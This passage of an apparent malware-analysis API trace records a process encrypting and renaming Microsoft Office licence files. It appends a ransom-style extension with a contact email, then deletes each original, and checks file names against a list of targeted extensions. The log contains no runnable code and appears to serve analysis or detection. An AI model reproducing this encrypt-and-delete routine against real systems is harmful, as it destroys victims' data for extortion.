WriteFile (in: hFile=0x540, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x11a, lpOverlapped=0x0) returned 1 [0197.520] SetEndOfFile (hFile=0x540) returned 1 [0197.520] CloseHandle (hObject=0x540) returned 1 [0197.520] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.520] SetEndOfFile (hFile=0x534) returned 1 [0197.741] CloseHandle (hObject=0x534) returned 1 [0197.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.744] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-oob.xrm-ms")) returned 1 [0197.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.745] lstrlenW (lpString=".doc") returned 4 [0197.745] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString=".docx") returned 5 [0197.746] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.746] lstrlenW (lpString=".pdf") returned 4 [0197.746] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString=".xls") returned 4 [0197.746] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString=".xlsx") returned 5 [0197.746] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.746] lstrlenW (lpString=".ppt") returned 4 [0197.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.746] lstrlenW (lpString=".zip") returned 4 [0197.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString=".rar") returned 4 [0197.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString=".bz2") returned 4 [0197.746] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString=".7z") returned 3 [0197.746] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.746] lstrlenW (lpString=".dbf") returned 4 [0197.746] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.746] lstrlenW (lpString=".1cd") returned 4 [0197.746] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.746] lstrlenW (lpString=".jpg") returned 4 [0197.746] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.747] lstrlenW (lpString=".doc") returned 4 [0197.747] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString=".docx") returned 5 [0197.747] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.747] lstrlenW (lpString=".pdf") returned 4 [0197.747] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString=".xls") returned 4 [0197.747] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString=".xlsx") returned 5 [0197.747] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.747] lstrlenW (lpString=".ppt") returned 4 [0197.747] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.747] lstrlenW (lpString=".zip") returned 4 [0197.747] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString=".rar") returned 4 [0197.747] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString=".bz2") returned 4 [0197.747] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString=".7z") returned 3 [0197.747] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.747] lstrlenW (lpString=".dbf") returned 4 [0197.747] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.747] lstrlenW (lpString=".1cd") returned 4 [0197.747] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85 [0197.747] lstrlenW (lpString=".jpg") returned 4 [0197.747] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.748] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0197.748] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30 [0197.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0197.749] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=22214) returned 1 [0197.749] CloseHandle (hObject=0x534) returned 1 [0197.749] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220 [0197.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0197.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0197.751] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.751] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0197.752] GetLastError () returned 0x0 [0197.752] ReadFile (in: hFile=0x534, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x56c6, lpOverlapped=0x0) returned 1 [0197.754] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x56d0, lpOverlapped=0x0) returned 1 [0197.756] ReadFile (in: hFile=0x534, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.756] WriteFile (in: hFile=0x3f8, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x110, lpOverlapped=0x0) returned 1 [0197.756] SetEndOfFile (hFile=0x3f8) returned 1 [0197.756] CloseHandle (hObject=0x3f8) returned 1 [0197.756] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.756] SetEndOfFile (hFile=0x534) returned 1 [0197.774] CloseHandle (hObject=0x534) returned 1 [0197.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0197.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1 [0197.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.775] lstrlenW (lpString=".doc") returned 4 [0197.775] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.775] lstrlenW (lpString=".docx") returned 5 [0197.775] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.776] lstrlenW (lpString=".pdf") returned 4 [0197.776] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString=".xls") returned 4 [0197.776] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString=".xlsx") returned 5 [0197.776] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.776] lstrlenW (lpString=".ppt") returned 4 [0197.776] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.776] lstrlenW (lpString=".zip") returned 4 [0197.776] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString=".rar") returned 4 [0197.776] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString=".bz2") returned 4 [0197.776] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString=".7z") returned 3 [0197.776] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.776] lstrlenW (lpString=".dbf") returned 4 [0197.776] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.776] lstrlenW (lpString=".1cd") returned 4 [0197.776] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.776] lstrlenW (lpString=".jpg") returned 4 [0197.776] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.777] lstrlenW (lpString=".doc") returned 4 [0197.777] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString=".docx") returned 5 [0197.777] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.777] lstrlenW (lpString=".pdf") returned 4 [0197.777] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString=".xls") returned 4 [0197.777] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString=".xlsx") returned 5 [0197.777] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.777] lstrlenW (lpString=".ppt") returned 4 [0197.777] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.777] lstrlenW (lpString=".zip") returned 4 [0197.777] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString=".rar") returned 4 [0197.777] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString=".bz2") returned 4 [0197.777] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString=".7z") returned 3 [0197.777] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0197.777] lstrlenW (lpString=".dbf") returned 4 [0197.777] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0198.044] lstrlenW (lpString=".1cd") returned 4 [0198.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80 [0198.045] lstrlenW (lpString=".jpg") returned 4 [0198.045] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.045] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.045] lstrlenW (lpString="HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 41 [0198.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.819] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11215) returned 1 [0198.819] CloseHandle (hObject=0x554) returned 1 [0198.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 0x220 [0198.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.838] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.838] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.838] GetLastError () returned 0x0 [0198.839] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2bcf, lpOverlapped=0x0) returned 1 [0198.841] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bd0, lpOverlapped=0x0) returned 1 [0198.842] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.842] WriteFile (in: hFile=0x554, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x126, lpOverlapped=0x0) returned 1 [0198.842] SetEndOfFile (hFile=0x554) returned 1 [0198.842] CloseHandle (hObject=0x554) returned 1 [0198.842] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.842] SetEndOfFile (hFile=0x3e8) returned 1 [0198.845] CloseHandle (hObject=0x3e8) returned 1 [0198.846] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0198.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-pl.xrm-ms")) returned 1 [0198.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.847] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.848] lstrlenW (lpString=".doc") returned 4 [0198.848] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString=".docx") returned 5 [0198.848] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.848] lstrlenW (lpString=".pdf") returned 4 [0198.848] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString=".xls") returned 4 [0198.848] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString=".xlsx") returned 5 [0198.848] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.848] lstrlenW (lpString=".ppt") returned 4 [0198.848] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.848] lstrlenW (lpString=".zip") returned 4 [0198.848] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString=".rar") returned 4 [0198.848] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString=".bz2") returned 4 [0198.848] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString=".7z") returned 3 [0198.848] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.848] lstrlenW (lpString=".dbf") returned 4 [0198.848] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.848] lstrlenW (lpString=".1cd") returned 4 [0198.848] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.848] lstrlenW (lpString=".jpg") returned 4 [0198.848] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.849] lstrlenW (lpString=".doc") returned 4 [0198.849] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString=".docx") returned 5 [0198.849] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.849] lstrlenW (lpString=".pdf") returned 4 [0198.849] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString=".xls") returned 4 [0198.849] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString=".xlsx") returned 5 [0198.849] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.849] lstrlenW (lpString=".ppt") returned 4 [0198.849] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.849] lstrlenW (lpString=".zip") returned 4 [0198.849] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString=".rar") returned 4 [0198.849] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString=".bz2") returned 4 [0198.849] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.849] lstrlenW (lpString=".7z") returned 3 [0198.849] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.849] lstrlenW (lpString=".dbf") returned 4 [0198.850] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.850] lstrlenW (lpString=".1cd") returned 4 [0198.850] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-pl.xrm-ms") returned 91 [0198.850] lstrlenW (lpString=".jpg") returned 4 [0198.850] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.850] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0198.850] lstrlenW (lpString="HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 32 [0198.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.851] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=21606) returned 1 [0198.851] CloseHandle (hObject=0x3e8) returned 1 [0198.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0198.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0198.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0198.854] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.854] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0198.855] GetLastError () returned 0x0 [0198.855] ReadFile 